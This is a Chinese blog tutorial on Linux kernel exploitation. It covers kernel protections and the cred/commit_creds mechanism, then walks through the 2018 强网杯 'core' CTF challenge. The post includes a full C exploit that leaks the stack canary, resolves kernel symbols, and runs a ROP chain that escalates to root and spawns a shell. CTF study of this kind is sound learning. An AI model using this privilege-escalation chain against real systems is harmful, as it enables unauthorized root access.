内核PWN基础

最后更新于 2025-04-09 4739 字 预计阅读时间: 22 分钟


内核保护

通用保护

KASLR

KASLR即(kernel address space layout randomize)内核地址空间随机化与用户台下的ASLR有着相同的作用,在内核镜像装载地址加上一个偏移值(颗粒度为256MB)。内核的装载也是整体的,即泄漏一个内核地址即可通过偏移找到内核基址和了解内核排布。

在没开启KASLR的情况下的x86_64架构,内核通常会加载到较高的地址空间,比如0xffffffff80000000附近。Linux将内核固定加载到0xffffffff81000000。我们可用泄露一个内核地址(如读取/proc/kallsyms)减去未偏移的地址得到offset(读取vmlinux),得到开启KASLR地址的内核基址。real_kernel_base=0xffffffff81000000+offset。

STACK PROTECTOR

和用户态canary有相同的作用即防止堆栈溢出,与canary不同的是STACK PROTECTOR的取值来自GS寄存器固定偏移处,发生内核堆栈溢出则会产生 kernel panic。

SMAP/SMEP

SMAP即管理模式访问保护(Supervisor Mode Access Prevention),SMEP 即管理模式执行保护(Supervisor Mode Execution Prevention),前者防止内核空间读取用户态地址数据,后者防止内核空间秩序用户空间的数据。

开启SMAP,内核不能读取用户空间数据,在执行copy_to_user和copy_from_user时会暂时关闭SMAP,SMAP的开启和关闭与CR4寄存器的第21位相关,也可以通过ROP或其他防止关闭从而绕过。

开启SMEP后,内核不能执行用户态的数据,当内核执行流被控制从内核态返回用户态时(swapgs +iretq)CPU会报错,使得ret2usr(通过内核执行提权函数后返回用户空间执行system)失效,SMEP的开启与CR4寄存器的第20位有关,也可以使该位置0达到关闭SMEP绕过。

KPTI

KPTI(Kernel page-table isolation)即内核页表隔离,在正常情况下内核空间和用户空间的内存映射同时存在用户空间可以通过访问对应的地址来访问内核空间。开启KPTI后,内核空间和用户空间会分别使用两个不同的页表,在内核状态下中存在完整的程序映射,包括用户空间,但是在内核状态下用户空间映射部分没有可以执行权限。在用户状态下只会留下一小部分内核映射保证完成系统调用等操作。

堆保护

Hardened freelist

Hardened freelist和用户态glibc2.32后在tcache bin添加的safelink一样,object(内核堆中的基本单位,可以理解为用户态的chunk,但是结构不一样)中next记录下一个object的地址不再是明文,而是异或后的数值,该数值计算公式如下。


 free object 的地址 ^ 下一个 free object 的地址 ^ kmem_cache 指定的一个 random 值

如果可以通过UAF或栈溢出泄露一个object的两个地址

  • 该object位于freelist末尾next(object addr^0^random)
  • 该object不在freelist末尾的next(object addr^next object addr^random)

相异或(object addr^0^random)^(object addr^next object addr^random)得到next即可泄露next object addr的地址

Random freelist

在用户态中,bin的排序是有固定顺序的的,如fastbin,tcachebin后进先出,largebin先进先出等,内核态的堆也是如此,导致漏洞利用过于简单。启用Random freelist后会使得堆的排序不是线性连续的

可以利用堆喷绕过

遇到再写。。。。

前置知识

/proc目录

该目录是一个虚拟文件系统,在内核pwn提供的cpio文件系统文件中可以看到其大小为0kb。

通过在init文件的命令来挂在到磁盘中

mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev

-t proc表示指定文件系统类型是 proc,即虚拟的进程文件系统。Linux内核通过该文件提供了有关正在运行的内核、进程、系统硬件和其他系统资源当前状态的详细信息,以文件的形式提供了访问内核数据的接口

你也可以自己挂载一个proc类型的文件夹,该文件夹与proc文件夹显示的内容一样,都调用了内核接口显示内核信息。

在proc目录下/proc/kallsyms(kernel all symbols)记录着所有内核函数的地址,可以读取其获取kernal基址和指定内核函数地址从而绕过KASLR,该文件受到/proc/sys/kernel/kptr_restrict限制该文件中分为下列三种情况

  • 0:表示root用户和普通用户都可以读取/proc/kallsyms文件。
  • 1:表示root用户可以读取/proc/kallsyms文件,普通用户则无权限
  • 2:表示root用户和普通用户都不可以读取/proc/kallsyms文件。

/proc/kmsg是dmesg的底层实现,用来储存内核信息。

/proc/sys/kernel/dmesg_restrict和上述一样,用来限制用户执行dmesg命令获取系统信息。

  • 0:表示没有限制,任何用户都可以查看内核日志(执行dmesg)。
  • 1:表示限制访问,只有root用户或具有适当权限的用户才能访问内核日志。

特权级的转换基本流程

syscall为例,可以参考这篇文章,讲得非常好,唯一的缺点就是太深入了听不懂(我太菜了)😭。省脑子版:

MSR寄存器

MSR是CPU的一组64位寄存器,可以分别通过RDMSR和WRMSR 两条指令进行读和写的操作,RDMSR和WRMSR会根据存放在rcx的地址寻找对应MSR寄存器写入/读取(rdx:rax)。

在x86下有如下几种MSR寄存器

  • IA32_KERNEL_GS_BASE — 用于交换GS寄存器的值
  • IA32_LSTAR — 记录syscall函数的地址
  • IA32_FMASK — 用于和rflags进行异或得到内核态下的rflags
  • IA32_STAR — 储存SS和CS寄存器

GS寄存器在内核态专门用来引用percpu变量,特权级发生转换时要切换。

特权级的转换汇编如下

 ENTRY(entry_SYSCALL_64)
 /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
 SWAPGS_UNSAFE_STACK

 /* 保存栈值,并设置内核栈 */
 movq %rsp, PER_CPU_VAR(rsp_scratch)
 movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp


/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq  $__USER_DS      /* pt_regs->ss */
pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
pushq  %r11             /* pt_regs->flags */
pushq  $__USER_CS      /* pt_regs->cs */
pushq  %rcx             /* pt_regs->ip */
pushq  %rax             /* pt_regs->orig_ax */
pushq  %rdi             /* pt_regs->di */
pushq  %rsi             /* pt_regs->si */
pushq  %rdx             /* pt_regs->dx */
pushq  %rcx tuichu    /* pt_regs->cx */
pushq  $-ENOSYS        /* pt_regs->ax */
pushq  %r8              /* pt_regs->r8 */
pushq  %r9              /* pt_regs->r9 */
pushq  %r10             /* pt_regs->r10 */
pushq  %r11             /* pt_regs->r11 */
sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */
  • 把返回地址存入rcx ,IA32_LSTAR MSR(syscall)寄存器里的值赋值到rip。
  • 执行swapgs让当前GS寄存器IA32_KERNEL_GS_BASE交换数值
  • 保存用户栈并加载内核栈
  • 保存现场(用户态rflag存储在r11寄存器,rcx存储返回地址)
  • rflags与IA32_FMASK 进行异或
  • IA32_STAR第32~47位加载到当前CS 和SS 段寄存器。

ioctl

ioctl 是一个专用于设备输入输出操作的一个系统调用,用于和设备之间的通信

int ioctl(int fd, unsigned long request, ...)

用户PWN和内核PWN的区别

Exploit方面

用户态下,通过栈溢出,格式化字符串,堆溢出,堆风水等方式来执行system("/bin/sh")或ORW等获取shell或读取flag。

内核态下,需要劫持进程权限凭证,每个进程在创建时用结构体 task_struct 表示一个进程,在task_struct 结构体里存在cred 的结构体

展开:cred结构体
struct cred {
    atomic_long_t   usage;
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key  *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct ucounts *ucounts;
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    /* RCU deletion */
    union {
        int non_rcu;            /* Can we skip RCU deletion? */
        struct rcu_head rcu;        /* RCU deletion hook */
    };
} __randomize_layout;

该结构体记录着各个进程的权限,只要将带有root权限的cred结构体复制到本进程后再用户态起一个shell即可得到root权限。

在内核中存在函数prepare_kernel_credcommit_creds

展开:二者源码如下
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	if (WARN_ON_ONCE(!daemon))
		return NULL;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	old = get_task_cred(daemon);

	*new = *old;
	new->non_rcu = 0;
	atomic_long_set(&new->usage, 1);
	get_uid(new->user);
	get_user_ns(new->user_ns);
	get_group_info(new->group_info);

#ifdef CONFIG_KEYS
	new->session_keyring = NULL;
	new->process_keyring = NULL;
	new->thread_keyring = NULL;
	new->request_key_auth = NULL;
	new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
	new->security = NULL;
#endif
	new->ucounts = get_ucounts(new->ucounts);
	if (!new->ucounts)
		goto error;

	if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
		goto error;

	put_cred(old);
	return new;

error:
	put_cred(new);
	put_cred(old);
	return NULL;
}

int commit_creds(struct cred *new)
{
	struct task_struct *task = current;
	const struct cred *old = task->real_cred;

	kdebug("commit_creds(%p{%ld})", new,
	       atomic_long_read(&new->usage));

	BUG_ON(task->cred != old);
	BUG_ON(atomic_long_read(&new->usage) < 1);

	get_cred(new); /* we will require a ref for the subj creds too */

	/* dumpability changes */
	if (!uid_eq(old->euid, new->euid) ||
	    !gid_eq(old->egid, new->egid) ||
	    !uid_eq(old->fsuid, new->fsuid) ||
	    !gid_eq(old->fsgid, new->fsgid) ||
	    !cred_cap_issubset(old, new)) {
		if (task->mm)
			set_dumpable(task->mm, suid_dumpable);
		task->pdeath_signal = 0;
		/*
		 * If a task drops privileges and becomes nondumpable,
		 * the dumpability change must become visible before
		 * the credential change; otherwise, a __ptrace_may_access()
		 * racing with this change may be able to attach to a task it
		 * shouldn't be able to attach to (as if the task had dropped
		 * privileges without becoming nondumpable).
		 * Pairs with a read barrier in __ptrace_may_access().
		 */
		smp_wmb();
	}

	/* alter the thread keyring */
	if (!uid_eq(new->fsuid, old->fsuid))
		key_fsuid_changed(new);
	if (!gid_eq(new->fsgid, old->fsgid))
		key_fsgid_changed(new);

	/* do it
	 * RLIMIT_NPROC limits on user->processes have already been checked
	 * in set_user().
	 */
	if (new->user != old->user || new->user_ns != old->user_ns)
		inc_rlimit_ucounts(new->ucounts, UCOUNT_RLIMIT_NPROC, 1);
	rcu_assign_pointer(task->real_cred, new);
	rcu_assign_pointer(task->cred, new);
	if (new->user != old->user || new->user_ns != old->user_ns)
		dec_rlimit_ucounts(old->ucounts, UCOUNT_RLIMIT_NPROC, 1);

	/* send notifications */
	if (!uid_eq(new->uid,   old->uid)  ||
	    !uid_eq(new->euid,  old->euid) ||
	    !uid_eq(new->suid,  old->suid) ||
	    !uid_eq(new->fsuid, old->fsuid))
		proc_id_connector(task, PROC_EVENT_UID);

	if (!gid_eq(new->gid,   old->gid)  ||
	    !gid_eq(new->egid,  old->egid) ||
	    !gid_eq(new->sgid,  old->sgid) ||
	    !gid_eq(new->fsgid, old->fsgid))
		proc_id_connector(task, PROC_EVENT_GID);

	/* release the old obj and subj refs both */
	put_cred_many(old, 2);
	return 0;
}
  • prepare_kernel_cred的参数为一个task_struct结构体功能是拷贝指定进程的cred结构体并返回(rax)
  • commit_creds的参数是一个cred结构体,作用是将指定cred结构体赋值到当前进程

在低版本的内核pwn目的是在内核空间执行commit_creds(prepare_kernel_cred(0)),如果prepare_kernel_cred的参数为0或NULL会被解释成init进程,init为linux的0号进程,具有root权限,将其cred结构体应用到本进程后在用户空间起shell则获取root权限。

在高版本内核中,prepare_kernel_cred(0)会分配失败,此时我们就要去寻找具有root权限的进程的task_struct 结构体地址传入prepare_kernel_cred执行commit_creds(prepare_kernel_cred(&root_process))

程序方面

在用户pwn中会给出一个带有漏洞的程序,需要我们利用该漏洞来getshell,该情况下是根据远程传输我们对远程程序的交互来完成的,不能写入任意函数

在内核pwn中会给出一套Linux文件系统(core.cpio),一个启动qemu脚本(start.sh),一个(Linux内核)vmlinux/bzimage(压缩的Linux内核,需要用extract-vmlinux获取vmlinux)。

  • start.sh记录了虚拟机分配的内存,开启的保护等内容。
  • 在文件系统中会存在一个init表示启动该虚拟机初始化的操作,通常情况下会插入一个带有漏洞的ko程序(基于可装载内核模块(Loadable Kernel Modules,简称 LKMs)),实际上是我们对该内核模块进行交互攻击得到root的进程权限凭证返回用户空间执行system("/bin/sh")得到root权限,该情况下根据我们编写的exp远程传输到靶机上执行,我们可用对exp进行任意编写,包括直接执行system("/bin/sh")但是前提是我们在内核空间获取root凭证。
  • 内核文件可供我们寻找对应的gadget使用

函数方面

内核态和用户态使用的函数并不完全一样,但是可以用等价的概念去记(

  • printf() = printk(),注意printk不一定会输出到终端,而是内核信息处(用dmesg查看)
  • memcpy() =
    copy_from_user(void *to, const void __user *from, unsigned long n):从用户空间拷贝数据到内核空间,其中to为内核空间缓冲区地址,from为用户空间缓冲区地址,n为拷贝字节数
    copy_to_user(void __user *to, const void *from, unsigned long n):从内核空间拷贝数据到用户空间,其中to为用户空间缓冲区地址,from为内核空间缓冲区地址,n为拷贝字节数
  • malloc() = kmalloc()
  • free() = kfree()

内核ROP

以强网杯 2018 - core为例(老演员了),给了core.cpio,start.sh,vmlinux

使用cpio -idm <./core.cpio获得文件系统

查看init文件,虽然将/proc/sys/kernel/kptr_restrict值1但是把/proc/kallsyms保存到了/tmp目录下,可以查看内核符号表。

查看core.ko保护,发现开启了STACK PROTECTOR。

ko文件进行插入(insmod)的时候会执行module_init注册的函数,core.ko创建了一个proc

卸载时会执行module_exit注册的函数

在proc_create的第四个参数注册了三个函数,分别在读取(write),io控制(ioctl),关闭(close)时触发。

在ioctl函数中有以下两个函数,以第二个参数为选择项。在case 0x6677889C中可以控制off

在core_read函数有栈任意地址读取,可以泄露canary。

在core_copy_func中存在栈溢出,a1为int型,只要最高位为1即可绕过检查,qmemcpy中类型转换为int16.

在core_write中可以控制name的值

思路如下

  • 保存用户态环境
  • 读取kallsyms得到commit_creds,prepare_kernel_cred和gadget的地址,并计算内核基址。
  • 通过case 0x6677889C中可以控制off
  • 在core_read读取canary
  • 构造rop链,通过core_write将rop链写入name中
  • 通过core_copy_func进行栈溢出执行commit_creds(prepare_kernel_cred(0))后返回用户空间执行system("/bin/sh")

保存环境

void save_status()
{
asm volatile(
 "mov user_cs,cs;"
 "mov user_ss,ss;"
 "mov user_rsp,rsp;"
 "pushf;"
 "pop user_rflags;"
);
}

读取符号

  FILE * kernel_symbol=fopen("/tmp/kallsyms","r");
    if (kernel_symbol==NULL)
    {
        puts("kernel symbol open faild");
        exit(0);
    }
    while(fscanf(kernel_symbol,"%lx %s %s",&addr,type,name))
    {
        if (commit_creds&&prepare_kernel_cred)
        {
            break;
        }
        if (!strcmp(name,"commit_creds"))
        {
            commit_creds=addr;
            continue;
        }
        if (!strcmp(name,"prepare_kernel_cred"))
        {
            prepare_kernel_cred=addr;
            continue;
        }
    };

泄露canary

    void set_off(int fd)
    {
    ioctl(fd,0x6677889C,0x40);
    } 
    set_off(fd);
    ioctl(fd,0x6677889B,off);
    size_t canary=(size_t*)off[0];

构造rop链注意COMMIT_CREDS是在没开启KASLR时的地址,commit_creds是查看kallsyms得到的地址,二者相减即可得到KASLR的offset。

prepare_kernel_cred的返回值存在在rax中,需要一个gadget mov rdi,rax; ret/jmp,合适即可,我这里选择mov rdi,rax; jmp rcx。结束commit_creds(prepare_kernel_cred(0))直接返回get_root函数地址

    void get_root()
{
    if(getuid())
    {
        puts("error to get root");
        exit(0);
    }
    system("/bin/sh");
}
    size_t kernel_offset=commit_creds-COMMIT_CREDS;
    size_t kernel_base=raw_kerner_base+kernel_offset;
    size_t pop_rdi_ret=kernel_base+0x0b2f;
    size_t pop_rcx_ret=kernel_base+0x21e53;
    size_t mov_rdi_rax_jump_rcx=kernel_base+0x1ae978;
    size_t swapgs_popfq_ret=kernel_base+0xa012da;
    size_t iretq_ret=kernel_base+0x050ac2;
    rop[a++]=pop_rdi_ret;
    rop[a++]=0;
    rop[a++]=prepare_kernel_cred;
    rop[a++]=pop_rcx_ret;
    rop[a++]=commit_creds;
    rop[a++]=mov_rdi_rax_jump_rcx;
    rop[a++]=swapgs_popfq_ret;
    rop[a++]=0;
    rop[a++]=iretq_ret;
    rop[a++]=(size_t)get_root;
    rop[a++]=user_cs;
    rop[a++]=user_rflags;
    rop[a++]=user_rsp;
    rop[a++]=user_ss;

完整exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t commit_creds=0;
size_t prepare_kernel_cred=0;

#define COMMIT_CREDS 0xffffffff8109c8e0
#define raw_kerner_base 0xffffffff81000000
size_t user_cs,user_rflags,user_ss,user_rsp;
size_t kernel_offset=0;
void save_status()
{
asm volatile(
 "mov user_cs,cs;"
 "mov user_ss,ss;"
 "mov user_rsp,rsp;"
 "pushf;"
 "pop user_rflags;"
);
}
void success()
{
    printf("commit_creds=%lx\nprepare_kernel_cred=%lx\n",commit_creds,prepare_kernel_cred);
}
void set_off(int fd)
{
    ioctl(fd,0x6677889C,0x40);
}
void get_root()
{
    if(getuid())
    {
        puts("error to get root");
        exit(0);
    }
    system("/bin/sh");
}

int main()
{
    size_t rop[0x100]={0};
    size_t addr;
    char name[100],type[100];
    save_status();
    size_t off[256];
    int fd;
    fd=open("/proc/core",O_RDWR);
    set_off(fd);
    ioctl(fd,0x6677889B,off);
    size_t canary=(size_t*)off[0];
    FILE * kernel_symbol=fopen("/tmp/kallsyms","r");
    if (kernel_symbol==NULL)
    {
        puts("kernel symbol open faild");
        exit(0);
    }
    while(fscanf(kernel_symbol,"%lx %s %s",&addr,type,name))
    {
        if (commit_creds&&prepare_kernel_cred)
        {
            break;
        }
        if (!strcmp(name,"commit_creds"))
        {
            commit_creds=addr;
            continue;
        }
        if (!strcmp(name,"prepare_kernel_cred"))
        {
            prepare_kernel_cred=addr;
            continue;
        }
    };
    int a;
    for( a=0;a<10;a++)
    {
        rop[a]=canary;
    }
    size_t kernel_offset=commit_creds-COMMIT_CREDS;
    size_t kernel_base=raw_kerner_base+kernel_offset;
    size_t pop_rdi_ret=kernel_base+0x0b2f;
    size_t pop_rcx_ret=kernel_base+0x21e53;
    size_t mov_rdi_rax_jump_rcx=kernel_base+0x1ae978;
    size_t swapgs_popfq_ret=kernel_base+0xa012da;
    size_t iretq_ret=kernel_base+0x050ac2;
    rop[a++]=pop_rdi_ret;
    rop[a++]=0;
    rop[a++]=prepare_kernel_cred;
    rop[a++]=pop_rcx_ret;
    rop[a++]=commit_creds;
    rop[a++]=mov_rdi_rax_jump_rcx;
    rop[a++]=swapgs_popfq_ret;
    rop[a++]=0;
    rop[a++]=iretq_ret;
    rop[a++]=(size_t)get_root;
    rop[a++]=user_cs;
    rop[a++]=user_rflags;
    rop[a++]=user_rsp;
    rop[a++]=user_ss;
    printf("canary----->%lx\n",canary);
    success();
    write(fd,rop,0x100);
    ioctl(fd,0x6677889A,(size_t)0xffffffff00000000|sizeof(rop)/8);
    return 0;
}

说一下我做题时遇到的坑

  • 调试时b copy_write时没反应可以是在open时没给写权限 fd=open("/proc/core","r");改成fd=open("/proc/core",O_RDWR);即可
  • 调试的时候总是会qemu总是重启,不要一直用n,用s步入即可,遇到call再用n步过(虽然有点麻烦但目前没什么好方法解决)

Bypass KPTI

此作者没有提供个人介绍。
最后更新于 2025-04-09